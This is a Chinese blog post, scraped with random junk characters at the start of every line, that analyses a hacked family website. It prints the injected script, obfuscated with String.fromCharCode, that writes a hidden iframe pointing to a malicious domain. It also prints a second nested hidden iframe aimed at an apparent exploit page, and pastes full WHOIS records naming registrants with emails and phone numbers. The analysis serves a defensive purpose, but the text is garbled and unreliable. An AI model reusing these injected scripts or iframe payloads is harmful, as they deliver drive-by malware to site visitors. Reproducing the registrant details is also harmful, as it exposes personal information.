首发在我的博客里面，
TJ_$vI =9y[1t http://www.areway.cn/?p=175 E4`N-3 X@ +{5% &S{RGXj_ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
#%a;"w u)X=Qm) <script>t=’60,105,102,114,97,109,101,
R}
eN@#"D 32,115,114,99,61,104,116,116,112,58,47,47,
gf# {k2r 102,114,101,101,46,117,45,117,117,117,46,99,
zT =Ho
110,47,101,114,114,111,114,46,104,116,109,
b#uL?f 32,119,105,100,116,104,61,49,48,48,32,104,
A -H& 101,105,103,104,116,61,48,62,60,47,105,102,
#|Y5,a ,{ 114,97,109,101,62′;
[w>$QR t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
B8.Pn B6u/mo< <script>t=’60,105,102,114,97,109,101,32,115,
|{B IHgMh 114,99,61,104,116,116,112,58,47,47,102,114,
8 ##-EN;ag 101,101,46,117,45,117,117,117,46,99,110,47,
FOv=!'S o 101,114,114,111,114,46,104,116,109,32,119,
!O+) sbd< 105,100,116,104,61,49,48,48,32,104,101,105,
lGV0 *Cji 103,104,116,61,48,62,60,47,105,102,114,97,
J`peX0Stl 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
63q^ $I document.write(t);</script>
R0P
iv: ~bM4[*Q7 <html xmlns=”
~ Sg5:T3 http://www.w3.org/1999/xhtml y6ECdVF “>
<{d VKf,e <head>
_Zp}?b5Q <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
oibsh(J3 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
p#ol*m 5wE <title>首页 - 爱生活家庭网
yQ_B)b aXQnZ+2e^R 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
S @jQX 转换字符串后的大概内容是（谁点击后果自付）：
_7Rr=_1} <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
Jv>gwV{ !^^?dRd*v 查询玉米u-uuu.cn的详细信息：
o1-m1 <ft Domain Name: u-uuu.cn
fV &KM*W*@ ROID: 20070901s10001s64972306-cn
%}SGl${- Domain Status: ok
g y,h t3 Registrant Organization: 王雷
_D+}q_ Registrant Name: 王雷
O!m vJD Administrative Email:
czlovexs@126.com t9,\Hdo Sponsoring Registrar: 北京万网志成科技有限公司
Ee)T1 ~;W Name Server:ns.yovole.com
wg7V-+@i Name Server:ns1.yovole.com
X> 1,!I9 Registration Date: 2007-09-01 17:54
Y'c>:;JEe Expiration Date: 2008-09-01 17:54
S'|,oUWDb 最后PING了一下地址 都没有什么….
-MW_| MG HFKf kAl 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
@E;=*9ek{u <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
9E
zj" <script language=”javascript” src=”
4H,`]B8(D http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script *EOdEFsR/ >
i 'a?kSy 这个玉米应该有可能是木马作者的：
d:ARf foafau.info的详细信息：
"oTHq]Ku Access to INFO WHOIS information is provided to assist persons in
un)4eo!7 determining the contents of a domain name registration record in the
I(] }XZq Afilias registry database. The data in this record is provided by
DNOueU Afilias Limited for informational purposes only, and Afilias does not
1e(E:_t guarantee its accuracy. This service is intended only for query-based
$ }<PL}+ access. You agree that you will use this data only for lawful purposes
1 9&<|qTz and that, under no circumstances will you use this data to: (a) allow,
udxFz2>_l$ enable, or otherwise support the transmission by e-mail, telephone, or
J,V9 k[88 facsimile of mass unsolicited, commercial advertising or solicitations
A'j;\
`1 to entities other than the data recipient’s own existing customers; or
$LKIT0 (b) enable high volume, automated, electronic processes that send
CpA|4'# queries or data to the systems of Registry Operator, a Registrar, or
@ >d*H75 Afilias except as reasonably necessary to register domain names or
'= _/ 1F*q modify existing registrations. All rights reserved. Afilias reserves
CUO+9X-<8 the right to modify these terms at any time. By submitting this query,
]Uw<$!$-]s you agree to abide by this policy.
z {[xze-f Domain ID:D22418703-LRMS
?p9VO.^5 Domain Name:FOAFAU.INFO
E%+Dl= Created On:20-Nov-2007 16:05:42 UTC
AuUd e$l_ Last Updated On:20-Nov-2007 16:05:44 UTC
u6 M.' Expiration Date:20-Nov-2008 16:05:42 UTC
&+a9+y
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
qHs UP;7 Status:CLIENT DELETE PROHIBITED
Ager$uC Status:CLIENT RENEW PROHIBITED
U1@IX4^2` Status:CLIENT TRANSFER PROHIBITED
y)F;zW<+ Status:CLIENT UPDATE PROHIBITED
n1qQ+(xC Status:TRANSFER PROHIBITED
Q~814P 8] Registrant ID:GODA-040110615
`k=bL"T>\ Registrant Name:liu hong
wAX1l*` Registrant Organization:
N/]o4o Registrant Street1:beijing
%u`8mi nCt Registrant Street2:
uXI_M) Registrant Street3:
l/BLUl~z Registrant City:beijing
aiQ>xen5C5 Registrant State/Province:
ji1 viv Registrant Postal Code:100000
CEXyrs< Registrant Country:CN
ln$&``L Registrant Phone:+86.860108888777
XOxr?NPQ^ Registrant Phone Ext.:
t2EHrji~ Registrant FAX:
4,..kSA3iw Registrant FAX Ext.:
?f# y1m Registrant Email:bbbshiji@163.com
W!%]_I!&K Admin ID:GODA-240110615
T#M,~lD Admin Name:liu hong
P1zKsY,l$< Admin Organization:
un shH < Admin Street1:beijing
x N=i]~ Admin Street2:
Dakoqke Admin Street3:
&yGaCq;0 Admin City:beijing
8j Mk)- Admin State/Province:
K2 he4< Admin Postal Code:100000
L>MLi3{ Admin Country:CN
4Yxo~ m( Admin Phone:+86.860108888777
/nyUG^5#{ Admin Phone Ext.:
s<*XN NE7 Admin FAX:
/ rg*p Admin FAX Ext.:
_Bj)r}~7# Admin Email:bbbshiji@163.com
SLO%7%>p Billing ID:GODA-340110615
t]> Lh>G Billing Name:liu hong
)_1zRT| 9 Billing Organization:
=6woWlf b Billing Street1:beijing
: Mb%A Billing Street2:
L~_9_9c Billing Street3:
4/mig0 "N. Billing City:beijing
cS>e? Billing State/Province:
q/4YS0CqE Billing Postal Code:100000
n_$
:7J Billing Country:CN
I3
.x9 Billing Phone:+86.860108888777
RD\ Billing Phone Ext.:
y(Y!?X I Billing FAX:
z."a.>fPaO Billing FAX Ext.:
NZ ;{t\ Billing Email:bbbshiji@163.com
g$HwxA9Gp/ Tech ID:GODA-140110615
m6n?bEl6I Tech Name:liu hong
xB_!>SqF1U Tech Organization:
UQ'\7OS Tech Street1:beijing
+lJG(Qd Tech Street2:
dA@'b5N{" Tech Street3:
7.C;NT Tech City:beijing
3m YiQ2 Tech State/Province:
sW )Zi Tech Postal Code:100000
*_R]*o!W' Tech Country:CN
HU%o6c w Tech Phone:+86.860108888777
+ # GQ, Tech Phone Ext.:
kHXL8k#T Tech FAX:
+u!0rLb Tech FAX Ext.:
# Xhdn\7 Tech Email:bbbshiji@163.com
, $;yY)x7U Name Server:NS27.DOMAINCONTROL.COM
hc~s"Atck Name Server:NS28.DOMAINCONTROL.COM
CF+_/s#j^ Name Server:
S Gh1 D B Name Server:
i-bJS6 Name Server:
MxSM@3 v( Name Server:
NLS%S q Name Server:
cs T2B[f9D Name Server:
\zieyE Name Server:
*:>" q ej Name Server:
qY~`8
x Name Server:
L !=4N!j Name Server:
!O-C,uSm Name Server:
]?3un!o3o AK\$i$@6 接着下载每个文件里面的代码：
{z(xFrY 一步一步看..
Vnx,5E& 
(WK&^,zQn 
<,3^|$c% 
`kbSu} 
*GxTX3i}vc 
-:30 :oq 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
